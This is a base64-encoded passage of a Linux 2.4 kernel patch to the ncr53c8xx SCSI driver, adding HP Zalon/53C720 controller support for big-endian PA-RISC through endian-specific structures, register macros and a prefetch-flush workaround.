X3Jhd19yZWFkbAorI2RlZmluZQl3cml0ZXdfYjJsCV9fcmF3X3dyaXRldworI2RlZmluZQl3cml0
ZWxfYjJsCV9fcmF3X3dyaXRlbAorI2RlZmluZQlyZWFkd19yYXcJX19yYXdfcmVhZHcKKyNkZWZp
bmUJcmVhZGxfcmF3KGEpCV9fcmF3X3JlYWRsKCh1bnNpZ25lZCBsb25nKShhKSkKKyNkZWZpbmUJ
d3JpdGV3X3JhdwlfX3Jhd193cml0ZXcKKyNkZWZpbmUJd3JpdGVsX3Jhdyh2LGEpCV9fcmF3X3dy
aXRlbCh2LCh1bnNpZ25lZCBsb25nKShhKSkKICNlbHNlCS8qIE90aGVyIGJpZy1lbmRpYW4gKi8K
ICNkZWZpbmUJcmVhZHdfbDJiCXJlYWR3CiAjZGVmaW5lCXJlYWRsX2wyYglyZWFkbAogI2RlZmlu
ZQl3cml0ZXdfYjJsCXdyaXRldwogI2RlZmluZQl3cml0ZWxfYjJsCXdyaXRlbAorI2RlZmluZQly
ZWFkd19yYXcJcmVhZHcKKyNkZWZpbmUJcmVhZGxfcmF3CXJlYWRsCisjZGVmaW5lCXdyaXRld19y
YXcJd3JpdGV3CisjZGVmaW5lCXdyaXRlbF9yYXcJd3JpdGVsCiAjZW5kaWYKIAogI2Vsc2UJLyog
bGl0dGxlIGVuZGlhbiAqLwpAQCAtNDMwLDkgKzQ0OSwxMSBAQAogI2VuZGlmCiAjZW5kaWYKIAor
I2lmICFkZWZpbmVkKF9faHBwYV9fKSAmJiAhZGVmaW5lZChfX21pcHNfXykKICNpZmRlZglTQ1NJ
X05DUl9CSUdfRU5ESUFOCiAjZXJyb3IJIlRoZSBOQ1IgaW4gQklHIEVORElBTiBhZGRyZXNzaW5n
IG1vZGUgaXMgbm90ICh5ZXQpIHN1cHBvcnRlZCIKICNlbmRpZgorI2VuZGlmCiAKIAogLyoKQEAg
LTU4NSwxMCArNjA2LDIwIEBACiAKICNlbHNlCiAKKyNpZmRlZiBFTkFCTEVfU0NTSV9aQUxPTgor
LyogT25seSA4IG9yIDMyIGJpdCB0cmFuc2ZlcnMgYWxsb3dlZCAqLworI2RlZmluZSBJTldfT0ZG
KG8pCQkocmVhZGIoKGNoYXIgKilucC0+cmVnICsgbmNyX29mZncobykpIDw8IDggfCByZWFkYigo
Y2hhciAqKW5wLT5yZWcgKyBuY3Jfb2ZmdyhvKSArIDEpKQorI2Vsc2UKICNkZWZpbmUgSU5XX09G
RihvKQkJcmVhZHdfcmF3KChjaGFyICopbnAtPnJlZyArIG5jcl9vZmZ3KG8pKQorI2VuZGlmCiAj
ZGVmaW5lIElOTF9PRkYobykJCXJlYWRsX3JhdygoY2hhciAqKW5wLT5yZWcgKyAobykpCiAKKyNp
ZmRlZiBFTkFCTEVfU0NTSV9aQUxPTgorLyogT25seSA4IG9yIDMyIGJpdCB0cmFuc2ZlcnMgYWxs
b3dlZCAqLworI2RlZmluZSBPVVRXX09GRihvLCB2YWwpCWRvIHsgd3JpdGViKChjaGFyKSgodmFs
KSA+PiA4KSwgKGNoYXIgKilucC0+cmVnICsgbmNyX29mZncobykpOyB3cml0ZWIoKGNoYXIpKHZh
bCksIChjaGFyICopbnAtPnJlZyArIG5jcl9vZmZ3KG8pICsgMSk7IH0gd2hpbGUgKDApCisjZWxz
ZQogI2RlZmluZSBPVVRXX09GRihvLCB2YWwpCXdyaXRld19yYXcoKHZhbCksIChjaGFyICopbnAt
PnJlZyArIG5jcl9vZmZ3KG8pKQorI2VuZGlmCiAjZGVmaW5lIE9VVExfT0ZGKG8sIHZh
bCkJd3JpdGVsX3JhdygodmFsKSwgKGNoYXIgKilucC0+cmVnICsgKG8pKQogCiAjZW5kaWYKQEAg
LTYzNiw2ICs2NjcsMTAgQEAKICoqCU5DUjUzQzhYWCBEZXZpY2UgSWRzCiAqLwogCisjaWZuZGVm
IFBTRVVET19aQUxPTl83MjBfSUQKKyNkZWZpbmUgUFNFVURPX1pBTE9OXzcyMF9JRCAweDVhMDAK
KyNlbmRpZgorCiAjaWZuZGVmIFBDSV9ERVZJQ0VfSURfTkNSXzUzQzgxMAogI2RlZmluZSBQQ0lf
REVWSUNFX0lEX05DUl81M0M4MTAgMQogI2VuZGlmCkBAIC03MzksNiArNzc0LDkgQEAKICNkZWZp
bmUgRkVfREFDCSAJKDE8PDI0KSAgIC8qIFN1cHBvcnQgREFDIGN5Y2xlcyAoNjQgYml0IGFkZHJl
c3NpbmcpICovCiAjZGVmaW5lIEZFX0lTVEFUMSAJKDE8PDI1KSAgIC8qIEhhdmUgSVNUQVQxLCBN
Qk9YMCwgTUJPWDEgcmVnaXN0ZXJzICovCiAjZGVmaW5lIEZFX0RBQ19JTl9VU0UJKDE8PDI2KQkg
IC8qIFBsYXRmb3JtIGRvZXMgREFDIGN5Y2xlcyAqLworI2RlZmluZSBGRV9FSFAJCSgxPDwyNykg
ICAvKiA3MjA6IEV2ZW4gaG9zdCBwYXJpdHkgKi8KKyNkZWZpbmUgRkVfTVVYCQkoMTw8MjgpICAg
LyogNzIwOiBNdWx0aXBsZXhlZCBidXMgKi8KKyNkZWZpbmUgRkVfRUEJCSgxPDwyOSkgICAvKiA3
MjA6IEVuYWJsZSBBY2sgKi8KIAogI2RlZmluZSBGRV9DQUNIRV9TRVQJKEZFX0VSTHxGRV9DTFNF
fEZFX1dSSUV8RkVfRVJNUCkKICNkZWZpbmUgRkVfU0NTSV9TRVQJKEZFX1dJREV8RkVfVUxUUkF8
RkVfVUxUUkEyfEZFX0RCTFJ8RkVfUVVBRHxGX0NMSzgwKQpAQCAtNzYwLDYgKzc5OCw5IEBACiAK
ICNkZWZpbmUgU0NTSV9OQ1JfQ0hJUF9UQUJMRQkJCQkJCVwKIHsJCQkJCQkJCQlcCisge1BTRVVE
T19aQUxPTl83MjBfSUQsIDB4MGYsICI3MjAiLCAgMywgIDgsIDQsCQkJCVwKKyBGRV9XSURFfEZF
X0RJRkZ8RkVfRUhQfEZFX01VWHxGRV9FQX0JCQkJCVwKKyAsCQkJCQkJCQkJXAogIHtQQ0lfREVW
SUNFX0lEX05DUl81M0M4MTAsIDB4MGYsICI4MTAiLCAgNCwgIDgsIDQsCQkJXAogIEZFX0VSTH0J
CQkJCQkJCVwKICAsCQkJCQkJCQkJXApAQCAtODMyLDYgKzg3Myw3IEBACiAgKi8KICNkZWZpbmUg
U0NTSV9OQ1JfQ0hJUF9JRFMJCVwKIHsJCQkJCVwKKwlQU0VVRE9fWkFMT05fNzIwX0lELAkJXAog
CVBDSV9ERVZJQ0VfSURfTkNSXzUzQzgxMCwJXAogCVBDSV9ERVZJQ0VfSURfTkNSXzUzQzgxNSwJ
XAogCVBDSV9ERVZJQ0VfSURfTkNSXzUzQzgyMCwJXApAQCAtMTE4Myw2ICsxMjI1LDcgQEAKIC8q
MTcqLyAgdV9jaGFyICAgIG5jX21ib3gxOwkvKiA4OTYgYW5kIGxhdGVyIGNvcmVzIG9ubHkgKi8K
IAogLyoxOCovCXVfY2hhcgkgIG5jX2N0ZXN0MDsKKwkjZGVmaW5lICAgRUhQICAgICAweDA0CS8q
IDcyMCBldmVuIGhvc3QgcGFyaXR5ICAgICAgICAgICAgICovCiAvKjE5Ki8gIHVfY2hhciAgICBu
Y19jdGVzdDE7CiAKIC8qMWEqLyAgdV9jaGFyICAgIG5jX2N0ZXN0MjsKQEAgLTEyMDAsNiArMTI0
Myw3IEBACiAKIC8qMjAqLwl1X2NoYXIJICBuY19kZmlmbzsKIC8qMjEqLyAgdV9jaGFyICAgIG5j
X2N0ZXN0NDsKKwkjZGVmaW5lICAgTVVYICAgICAweDgwICAvKiA3MjAgaG9zdCBidXMgbXVsdGlw
bGV4IG1vZGUgICAgICAqLwogCSNkZWZpbmUgICBCRElTICAgIDB4ODAgIC8qIG1vZDogYnVyc3Qg
ZGlzYWJsZSAgICAgICAgICAgICAgICovCiAJI2RlZmluZSAgIE1QRUUgICAgMHgwOCAgLyogbW9k
OiBtYXN0ZXIgcGFyaXR5IGVycm9yIGVuYWJsZSAgKi8KIApAQCAtMTIzMiw2ICsxMjc2LDcgQEAK
IAkjZGVmaW5lICAgQ0xTRSAgICAweDgwICAvKiBtb2Q6IGNhY2hlIGxpbmUgc2l6ZSBlbmFibGUg
ICAgICAqLwogCSNkZWZpbmUgICBQRkYgICAgIDB4NDAgIC8qIGNtZDogcHJlLWZldGNoIGZsdXNo
ICAgICAgICAgICAgICovCiAJI2RlZmluZSAgIFBGRU4gICAgMHgyMCAgLyogbW9kOiBwcmUtZmV0
Y2ggZW5hYmxlICAgICAgICAgICAgKi8KKwkjZGVmaW5lICAgRUEgICAgICAweDIwCS8qIG1vZDog
NzIwIGVuYWJsZS1hY2sgICAgICAgICAgICAgICovCiAJI2RlZmluZSAgIFNTTSAgICAgMHgxMCAg
LyogbW9kOiBzaW5nbGUgc3RlcCBtb2RlICAgICAgICAgICAgKi8KIAkjZGVmaW5lICAgSVJRTSAg
ICAweDA4ICAvKiBtb2Q6IGlycSBtb2RlICgxID0gdG90ZW0gcG9sZSAhKSAqLwogCSNkZWZpbmUg
ICBTVEQgICAgIDB4MDQgIC8qIGNtZDogc3RhcnQgZG1hIG1vZGUgICAgICAgICAgICAgICovCkBA
IC0xMjc0LDYgKzEzMTksNyBAQAogCiAvKjRlKi8gIHVfY2hhciAgICBuY19zdGVzdDI7CiAJI2Rl
ZmluZSAgIFJPRiAgICAgMHg0MAkvKiByZXNldCBzY3NpIG9mZnNldCAoYWZ0ZXIgZ3Jvc3MgZXJy
b3IhKSAqLworCSNkZWZpbmUgICBESUYgICAgIDB4MjAgIC8qIDcyMCBTQ1NJIGRpZmZlcmVudGlh
bCBtb2RlICAgICAgICAgICAgICovCiAJI2RlZmluZSAgIEVYVCAgICAgMHgwMiAgLyogZXh0ZW5k
ZWQgZmlsdGVyaW5nICAgICAgICAgICAgICAgICAgICAgKi8KIAogLyo0ZiovICB1X2NoYXIgICAg
bmNfc3Rlc3QzOwpAQCAtMTQ1MiwxMiArMTQ5OCwyMSBAQAogI2RlZmluZQlTQ1JfU0VMX1RCTAkw
eDQyMDAwMDAwCiAjZGVmaW5lCVNDUl9TRUxfVEJMX0FUTgkweDQzMDAwMDAwCiAKKyNpZmRlZiBT
Q1NJX05DUl9CSUdfRU5ESUFOCitzdHJ1Y3Qgc2NyX3RibHNlbCB7CisgICAgICAgIHVfY2hhciAg
c2VsX3NjbnRsMzsKKyAgICAgICAgdV9jaGFyICBzZWxfaWQ7CisgICAgICAgIHVfY2hhciAgc2Vs
X3N4ZmVyOworICAgICAgICB1X2NoYXIgIHNlbF9zY250bDQ7CQorfTsKKyNlbHNlCiBzdHJ1Y3Qg
c2NyX3RibHNlbCB7CiAgICAgICAgIHVfY2hhciAgc2VsX3NjbnRsNDsJCiAgICAgICAgIHVfY2hh
ciAgc2VsX3N4ZmVyOwogICAgICAgICB1X2NoYXIgIHNlbF9pZDsKICAgICAgICAgdV9jaGFyICBz
ZWxfc2NudGwzOwogfTsKKyNlbmRpZgogCiAjZGVmaW5lIFNDUl9KTVBfUkVMICAgICAweDA0MDAw
MDAwCiAjZGVmaW5lIFNDUl9JRChpZCkJKCgodV9pbnQzMikoaWQpKSA8PCAxNikKZGlmZiAtTmF1
clggZG9udGRpZmYgbGludXgtMi40LjIxLXByZTcvZHJpdmVycy9zY3NpL25jcjUzYzh4
eC5jIGxpbnV4LTIuNC4yMS1wcmU3LXBhM3gvZHJpdmVycy9zY3NpL25jcjUzYzh4eC5jCi0tLSBs
aW51eC0yLjQuMjEtcHJlNy9kcml2ZXJzL3Njc2kvbmNyNTNjOHh4LmMJMjAwMi0xMS0yOSAwMDo1
MzoxNC4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMS1wcmU3LXBhM3gvZHJpdmVycy9z
Y3NpL25jcjUzYzh4eC5jCTIwMDItMTItMjAgMTU6NTY6MjEuMDAwMDAwMDAwICswMTAwCkBAIC04
Miw2ICs4Miw3IEBACiAqKgkgICAgRXRjLi4uCiAqKgogKioJU3VwcG9ydGVkIE5DUi9TWU1CSU9T
IGNoaXBzOgorKioJCTUzQzcyMAkJKFdpZGUsICAgRmFzdCBTQ1NJLTIsIEhQIFphbG9uKQogKioJ
CTUzQzgxMAkJKDggYml0cywgRmFzdCBTQ1NJLTIsIG5vIHJvbSBCSU9TKSAKICoqCQk1M0M4MTUJ
CSg4IGJpdHMsIEZhc3QgU0NTSS0yLCBvbiBib2FyZCByb20gQklPUykKICoqCQk1M0M4MjAJCShX
aWRlLCAgIEZhc3QgU0NTSS0yLCBubyByb20gQklPUykKQEAgLTE4MCw2ICsxODEsMjMgQEAKIHR5
cGVkZWYgdTMyIHVfaW50MzI7CiB0eXBlZGVmIHU2NCB1X2ludDY0OwogdHlwZWRlZgl1X2xvbmcJ
CXZtX29mZnNldF90OworCisjaWZkZWYgX19ocHBhX18KKy8qIFl1Y2suICBDdXJyZW50IHBsYW4g
aXMgdG8gdXNlIG5jcjU4Yzh4eC5jIGZvciBub24tcGNpIGJpZyBlbmRpYW4KKyoqIGNoaXBzLCBh
bmQgc3ltNTNjOHh4LmMgZm9yIHBjaSBsaXR0bGUgZW5kaWFuIGNoaXBzLiAgRGVmaW5lIHRoaXMK
KyoqIGhlcmUgc28gaXQgZ2V0cyBzZWVuIGJ5IHN5bTUzYzh4eF9kZWZzLmgsIHB1bGxlZCBpbiB2
aWEgbmNyNTNjOHh4LmguCisqLworI2RlZmluZSBTQ1NJX05DUl9CSUdfRU5ESUFOCisvKiBJTlRG
TFkgaW50ZXJydXB0cyBkb24ndCBhbHdheXMgc2VlbSB0byBnZXQgc2VydmljZWQgYXRtLi4uLi4K
KyovCisjZGVmaW5lIFNJTVVMQVRFRF9JTlRGTFkKKyNlbmRpZgorCisjaWYgZGVmaW5lZChDT05G
SUdfU0NTSV9aQUxPTikgfHwgZGVmaW5lZChDT05GSUdfU0NTSV9aQUxPTl9NT0RVTEUpCisjZGVm
aW5lIEVOQUJMRV9TQ1NJX1pBTE9OCisjaW5jbHVkZSAiemFsb243eHguaCIKKyNlbmRpZgorCiAj
aW5jbHVkZSAibmNyNTNjOHh4LmgiCiAKIC8qCkBAIC0zODMsNiArNDAxLDggQEAKIAlzdHJ1Y3Qg
U2NzaV9Ib3N0ICpob3N0LCBzdHJ1Y3Qgc2NzaV9kZXZpY2UgKmRldmxpc3QpOwogc3RhdGljIHZv
aWQgbmNyNTNjOHh4X2ludHIoaW50IGlycSwgdm9pZCAqZGV2X2lkLCBzdHJ1Y3QgcHRfcmVncyAq
IHJlZ3MpOwogc3RhdGljIHZvaWQgbmNyNTNjOHh4X3RpbWVvdXQodW5zaWduZWQgbG9uZyBucCk7
CitzdGF0aWMgaW50IG5jcjUzYzh4eF9wcm9jX2luZm8oY2hhciAqYnVmZmVyLCBjaGFyICoqc3Rh
cnQsIG9mZl90IG9mZnNldCwKKwkJCWludCBsZW5ndGgsIGludCBob3N0bm8sIGludCBmdW5jKTsK
IAogI2RlZmluZSBpbml0dmVyYm9zZSAoZHJpdmVyX3NldHVwLnZlcmJvc2UpCiAjZGVmaW5lIGJv
b3R2ZXJib3NlIChucC0+dmVyYm9zZSkKQEAgLTQ1NCw3ICs0NzQsOCBAQAogI2RlZmluZQlTSVJf
UkVTRUxfQkFEX0lfVF9MCSgxNSkKICNkZWZpbmUJU0lSX1JFU0VMX0JBRF9JX1RfTF9RCSgxNikK
ICNkZWZpbmUJU0lSX0RPTkVfT1ZFUkZMT1cJKDE3KQotI2RlZmluZQlTSVJfTUFYCQkJKDE3KQor
I2RlZmluZQlTSVJfSU5URkxZCQkoMTgpCisjZGVmaW5lCVNJUl9NQVgJCQkoMTgpCiAKIC8qPT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQog
KioKQEAgLTYyNiw2ICs2NDcsMTUgQEAKIAkqKgluZWdvdGlhdGlvbiBvZiB3aWRlIGFuZCBzeW5j
aCB0cmFuc2ZlciBhbmQgZGV2aWNlIHF1aXJrcy4KIAkqKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIAkqLworI2lmZGVmIFND
U0lfTkNSX0JJR19FTkRJQU4KKy8qMCovCXVfc2hvcnQJcGVyaW9kOworLyoyKi8JdV9jaGFyCXN2
YWw7CisvKjMqLwl1X2NoYXIJbWluc3luYzsKKy8qMCovCXVfY2hhcgl3dmFsOworLyoxKi8JdV9j
aGFyCXdpZGVkb25lOworLyoyKi8JdV9jaGFyCXF1aXJrczsKKy8qMyovCXVfY2hhcgltYXhvZmZz
OworI2Vsc2UKIC8qMCovCXVfY2hhcgltaW5zeW5jOwogLyoxKi8JdV9jaGFyCXN2YWw7CiAvKjIq
Lwl1X3Nob3J0CXBlcmlvZDsKQEAgLTYzMyw2ICs2NjMsNyBAQAogLyoxKi8JdV9jaGFyCXF1aXJr
czsKIC8qMiovCXVfY2hhcgl3aWRlZG9uZTsKIC8qMyovCXVfY2hhcgl3dmFsOworI2VuZGlmCiAK
ICNpZmRlZiBTQ1NJX05DUl9JTlRFR1JJVFlfQ0hFQ0tJTkcKIAl1X2NoYXIgCWljX21pbl9zeW5j
OwpAQCAtODQzLDEwICs4NzQsMTcgQEAKIC8qCiAqKglMYXN0IGZvdXIgYnl0ZXMgKGhvc3QpCiAq
LworI2lmZGVmCVNDU0lfTkNSX0JJR19FTkRJQU4KKyNkZWZpbmUgIGFjdHVhbHF1aXJrcyAgcGh5
cy5oZWFkZXIuc3RhdHVzWzNdCisjZGVmaW5lICBob3N0X3N0YXR1cyAgIHBoeXMuaGVhZGVyLnN0
YXR1c1syXQorI2RlZmluZSAgc2NzaV9zdGF0dXMgICBwaHlzLmhlYWRlci5zdGF0dXNbMV0KKyNk
ZWZpbmUgIHBhcml0eV9zdGF0dXMgcGh5cy5oZWFkZXIuc3RhdHVzWzBdCisjZWxzZQogI2RlZmlu
ZSAgYWN0dWFscXVpcmtzICBwaHlzLmhlYWRlci5zdGF0dXNbMF0KICNkZWZpbmUgIGhvc3Rfc3Rh
dHVzICAgcGh5cy5oZWFkZXIuc3RhdHVzWzFdCiAjZGVmaW5lICBzY3NpX3N0YXR1cyAgIHBoeXMu
aGVhZGVyLnN0YXR1c1syXQogI2RlZmluZSAgcGFyaXR5X3N0YXR1cyBwaHlzLmhlYWRlci5zdGF0
dXNbM10KKyNlbmRpZgogCiAvKgogKioJRmlyc3QgZm91ciBieXRlcyAoc2NyaXB0KQpAQCAtMTAz
MCw4ICsxMDY4LDggQEAKIAkqKgliZSB1c2VkIGZvciBwcm9iaW5nIGFkYXB0ZXIgaW1wbGVtZW50
YXRpb24gZGlmZmVyZW5jZXMuCiAJKiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAJKi8KLQl1X2NoYXIJc3Zfc2NudGwwLCBz
dl9zY250bDMsIHN2X2Rtb2RlLCBzdl9kY250bCwgc3ZfY3Rlc3QzLCBzdl9jdGVzdDQs
Ci0JCXN2X2N0ZXN0NSwgc3ZfZ3BjbnRsLCBzdl9zdGVzdDIsIHN2X3N0ZXN0NDsKKwl1X2NoYXIJ
c3Zfc2NudGwwLCBzdl9zY250bDMsIHN2X2Rtb2RlLCBzdl9kY250bCwgc3ZfY3Rlc3QwLCBzdl9j
dGVzdDMsCisJCXN2X2N0ZXN0NCwgc3ZfY3Rlc3Q1LCBzdl9ncGNudGwsIHN2X3N0ZXN0Miwgc3Zf
c3Rlc3Q0OwogCiAJLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAJKioJQWN0dWFsIGluaXRpYWwgdmFsdWUgb2YgSU8gcmVn
aXN0ZXIgYml0cyB1c2VkIGJ5IHRoZSAKQEAgLTEwMzksOCArMTA3Nyw4IEBACiAJKioJZmVhdHVy
ZXMgdGhhdCBhcmUgdG8gYmUgZW5hYmxlZC4KIAkqKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIAkqLwotCXVfY2hhcglydl9z
Y250bDAsIHJ2X3NjbnRsMywgcnZfZG1vZGUsIHJ2X2RjbnRsLCBydl9jdGVzdDMsIHJ2X2N0ZXN0
NCwgCi0JCXJ2X2N0ZXN0NSwgcnZfc3Rlc3QyOworCXVfY2hhcglydl9zY250bDAsIHJ2X3NjbnRs
MywgcnZfZG1vZGUsIHJ2X2RjbnRsLCBydl9jdGVzdDAsIHJ2X2N0ZXN0MywKKwlydl9jdGVzdDQs
IHJ2X2N0ZXN0NSwgcnZfc3Rlc3QyOwogCiAJLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAJKioJVGFyZ2V0cyBtYW5hZ2Vt
ZW50LgpAQCAtMTE2Miw3ICsxMjAwLDcgQEAKIAkqLwogCXN0cnVjdCBjY2IJKmNjYjsJCS8qIEds
b2JhbCBDQ0IJCQkqLwogCXN0cnVjdCB1c3JjbWQJdXNlcjsJCS8qIENvbW1hbmQgZnJvbSB1c2Vy
CQkqLwotCXVfY2hhcgkJcmVsZWFzZV9zdGFnZTsJLyogU3luY2hyb25pc2F0aW9uIHN0YWdlIG9u
IHJlbGVhc2UgICovCisJdm9sYXRpbGUgdV9jaGFyCXJlbGVhc2Vfc3RhZ2U7CS8qIFN5bmNocm9u
aXNhdGlvbiBzdGFnZSBvbiByZWxlYXNlICAqLwogCiAjaWZkZWYgU0NTSV9OQ1JfSU5URUdSSVRZ
X0NIRUNLSU5HCiAJLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCkBAIC0xMjAxLDYgKzEyMzksMjMgQEAKICovCiAKIC8qCisq
KglGb3IgSFAgWmFsb24vNTNjNzIwIHN5c3RlbXMsIHRoZSBaYWxvbiBpbnRlcmZhY2UKKyoqCWJl
dHdlZW4gQ1BVIGFuZCA1M2M3MjAgZG9lcyBwcmVmZXRjaGVzLCB3aGljaCBjYXVzZXMKKyoqCXBy
b2JsZW1zIHdpdGggc2VsZiBtb2RpZnlpbmcgc2NyaXB0cy4gIFRoZSBwcm9ibGVtCisqKglpcyBv
dmVyY29tZSBieSBjYWxsaW5nIGEgZHVtbXkgc3Vicm91dGluZSBhZnRlciBlYWNoCisqKgltb2Rp
ZmljYXRpb24sIHRvIGZvcmNlIGEgcmVmZXRjaCBvZiB0aGUgc2NyaXB0IG9uCisqKglyZXR1cm4g
ZnJvbSB0aGUgc3Vicm91dGluZS4KKyovCisKKyNpZmRlZiBFTkFCTEVfU0NTSV9aQUxPTgorI2Rl
ZmluZSBQUkVGRVRDSF9GTFVTSF9DTlQJMgorI2RlZmluZQlQUkVGRVRDSF9GTFVTSAkJU0NSX0NB
TEwsIFBBRERSSCAod2FpdF9kbWEpLAorI2Vsc2UKKyNkZWZpbmUgUFJFRkVUQ0hfRkxVU0hfQ05U
CTAKKyNkZWZpbmUgUFJFRkVUQ0hfRkxVU0gKKyNlbmRpZgorCisvKgogKioJU2NyaXB0IGZyYWdt
ZW50cyB3aGljaCBhcmUgbG9hZGVkIGludG8gdGhlIG9uLWNoaXAgUkFNIAogKioJb2YgODI1QSwg
ODc1IGFuZCA4OTUgY2hpcHMuCiAqLwpAQCAtMTIwOCw3ICsxMjYzLDcgQEAKIAluY3JjbWQJc3Rh
cnQJCVsgIDVdOwogCW5jcmNtZCAgc3RhcnRwb3MJWyAgMV07CiAJbmNyY21kCXNlbGVjdAkJWyAg
Nl07Ci0JbmNyY21kCXNlbGVjdDIJCVsgIDldOworCW5jcmNtZAlzZWxlY3QyCQlbICA5ICsgUFJF
RkVUQ0hfRkxVU0hfQ05UXTsKIAluY3JjbWQJbG9hZHBvcwkJWyAgNF07CiAJbmNyY21kCXNlbmRf
aWRlbnQJWyAgOV07CiAJbmNyY21kCXByZXBhcmUJCVsgIDZdOwpAQCAtMTIyNCw3ICsxMjc5LDcg
QEAKIAluY3JjbWQJc2V0bXNnCQlbICA3XTsKIAluY3JjbWQJY2xlYW51cAkJWyAgNl07CiAJbmNy
Y21kICBjb21wbGV0ZQlbICA5XTsKLQluY3JjbWQJY2xlYW51cF9vawlbICA4XTsKKwluY3JjbWQJ
Y2xlYW51cF9vawlbICA4ICsgUFJFRkVUQ0hfRkxVU0hfQ05UXTsKIAluY3JjbWQJY2xlYW51cDAJ
WyAgMV07CiAjaWZuZGVmIFNDU0lfTkNSX0NDQl9ET05FX1NVUFBPUlQKIAluY3JjbWQJc2lnbmFs
CQlbIDEyXTsKQEAgLTEyNDIsMTEgKzEyOTcsMTEgQEAKIAluY3JjbWQgIGlkbGUJCVsgIDJdOwog
CW5jcmNtZAlyZXNlbGVjdAlbICA4XTsKIAluY3JjbWQJcmVzZWxlY3RlZAlbICA4XTsKLQluY3Jj
bWQJcmVzZWxfZHNhCVsgIDZdOworCW5jcmNtZAlyZXNlbF9kc2EJWyAgNiArIFBSRUZFVENIX0ZM
VVNIX0NOVF07CiAJbmNyY21kCWxvYWRwb3MxCVsgIDRdOwogCW5jcmNtZCAgcmVzZWxfbHVuCVsg
IDZdOwogCW5jcmNtZAlyZXNlbF90YWcJWyAgNl07Ci0JbmNyY21kCWp1bXBfdG9fbmV4dXMJWyAg
NF07CisJbmNyY21kCWp1bXBfdG9fbmV4dXMJWyAgNCArIFBSRUZFVENIX0ZMVVNIX0NOVF07CiAJ
bmNyY21kCW5leHVzX2luZGlyZWN0CVsgIDRdOwogCW5jcmNtZAlyZXNlbF9ub3RhZwlbICA0XTsK
IAluY3JjbWQgIGRhdGFfaW4JCVtNQVhfU0NBVFRFUkwgKiA0XTsKQEAgLTEyNjcsNyArMTMyMiw3
IEBACiAjZW5kaWYKIAluY3JjbWQJc2VsZWN0X25vX2F0bglbICA4XTsKIAluY3JjbWQJY2FuY2Vs
CQlbICA0XTsKLQluY3JjbWQJc2tpcAkJWyAgOV07CisJbmNyY21kCXNraXAJCVsgIDkgKyBQUkVG
RVRDSF9GTFVTSF9DTlRdOwogCW5jcmNtZAlza2lwMgkJWyAxOV07CiAJbmNyY21kCXBhcl9lcnJf
ZGF0YV9pbglbICA2XTsKIAluY3JjbWQJcGFyX2Vycl9vdGhlcglbICA0XTsKQEAgLTEzMDAsOSAr
MTM1NSwxMCBAQAogCW5jcmNtZAliYWRfaV90X2xfcQlbICA0XTsKIAluY3JjbWQJYmFkX3Rhcmdl
dAlbICA4XTsKIAluY3JjbWQJYmFkX3N0YXR1cwlbICA4XTsKLQluY3JjbWQJc3RhcnRfcmFtCVsg
IDRdOworCW5jcmNtZAlzdGFydF9yYW0JWyAgNCArIFBSRUZFVENIX0ZMVVNIX0NOVF07
CiAJbmNyY21kCXN0YXJ0X3JhbTAJWyAgNF07CiAJbmNyY21kCXN0b19yZXN0YXJ0CVsgIDVdOwor
CW5jcmNtZAl3YWl0X2RtYQlbICAyXTsKIAluY3JjbWQJc25vb3B0ZXN0CVsgIDldOwogCW5jcmNt
ZAlzbm9vcGVuZAlbICAyXTsKIH07CkBAIC0xMzI4LDYgKzEzODQsNyBAQAogc3RhdGljCXZvaWQJ
bmNyX2dldGNsb2NrCShuY2JfcCBucCwgaW50IG11bHQpOwogc3RhdGljCXZvaWQJbmNyX3NlbGVj
dGNsb2NrCShuY2JfcCBucCwgdV9jaGFyIHNjbnRsMyk7CiBzdGF0aWMJY2NiX3AJbmNyX2dldF9j
Y2IJKG5jYl9wIG5wLCB1X2NoYXIgdG4sIHVfY2hhciBsbik7CitzdGF0aWMgIHZvaWQJbmNyX2No
aXBfcmVzZXQJKG5jYl9wIG5wLCBpbnQgZGVsYXkpOwogc3RhdGljCXZvaWQJbmNyX2luaXQJKG5j
Yl9wIG5wLCBpbnQgcmVzZXQsIGNoYXIgKiBtc2csIHVfbG9uZyBjb2RlKTsKIHN0YXRpYwlpbnQJ
bmNyX2ludF9zYm1jCShuY2JfcCBucCk7CiBzdGF0aWMJaW50CW5jcl9pbnRfcGFyCShuY2JfcCBu
cCk7CkBAIC0xNTI3LDYgKzE1ODQsMTAgQEAKIAkJUkFERFIgKGRzYSksCiAJCVBBRERSIChsb2Fk
cG9zKSwKIAkvKgorCSoqCUZsdXNoIHNjcmlwdCBwcmVmZXRjaCBpZiByZXF1aXJlZAorCSovCisJ
UFJFRkVUQ0hfRkxVU0gKKwkvKgogCSoqCXRoZW4gd2UgZG8gdGhlIGFjdHVhbCBjb3B5LgogCSov
CiAJU0NSX0NPUFkgKHNpemVvZiAoc3RydWN0IGhlYWQpKSwKQEAgLTE4MjcsNiArMTg4OCwxMCBA
QAogCVNDUl9DT1BZX0YgKDQpLAogCQlSQUREUiAoZHNhKSwKIAkJUEFERFIgKGNsZWFudXAwKSwK
KwkvKgorCSoqCUZsdXNoIHNjcmlwdCBwcmVmZXRjaCBpZiByZXF1aXJlZAorCSovCisJUFJFRkVU
Q0hfRkxVU0gKIAlTQ1JfQ09QWSAoc2l6ZW9mIChzdHJ1Y3QgaGVhZCkpLAogCQlOQUREUiAoaGVh
ZGVyKSwKIH0vKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08IENMRUFOVVAwID4tLS0tLS0tLS0t
